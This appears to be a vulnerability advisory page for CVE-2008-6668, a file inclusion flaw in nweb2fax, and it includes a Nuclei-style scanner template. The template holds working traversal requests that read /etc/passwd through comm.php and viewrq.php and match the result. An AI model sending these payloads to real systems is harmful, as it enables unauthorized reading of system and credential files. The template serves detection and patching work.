CVE-2008-6668: nweb2fax <=0.2.7 - Local File Inclusion

日期: 2025-08-01 | 影响软件: nweb2fax | POC: 已公开

漏洞描述

nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.

PoC代码[已公开]

id: CVE-2008-6668

info:
  name: nweb2fax <=0.2.7 - Local File Inclusion
  author: geeknik
  severity: medium
  description: nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/5856
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43173
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43172
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6668
    cwe-id: CWE-22
    epss-score: 0.01077
    epss-percentile: 0.7704
    cpe: cpe:2.3:a:dirk_bartley:nweb2fax:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dirk_bartley
    product: nweb2fax
  tags: cve,cve2008,nweb2fax,lfi,traversal,edb,dirk_bartley

http:
  - method: GET
    path:
      - "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202fa63acff943610800489ab38e3f3febf1f2d73cc6f2378535123948185d4d7d022100f00d72e41f9f9e228aba58e548b92f380a6b868fb5745ff87843d303a5ccff03:922c64590222798bb761d5b6d8e72950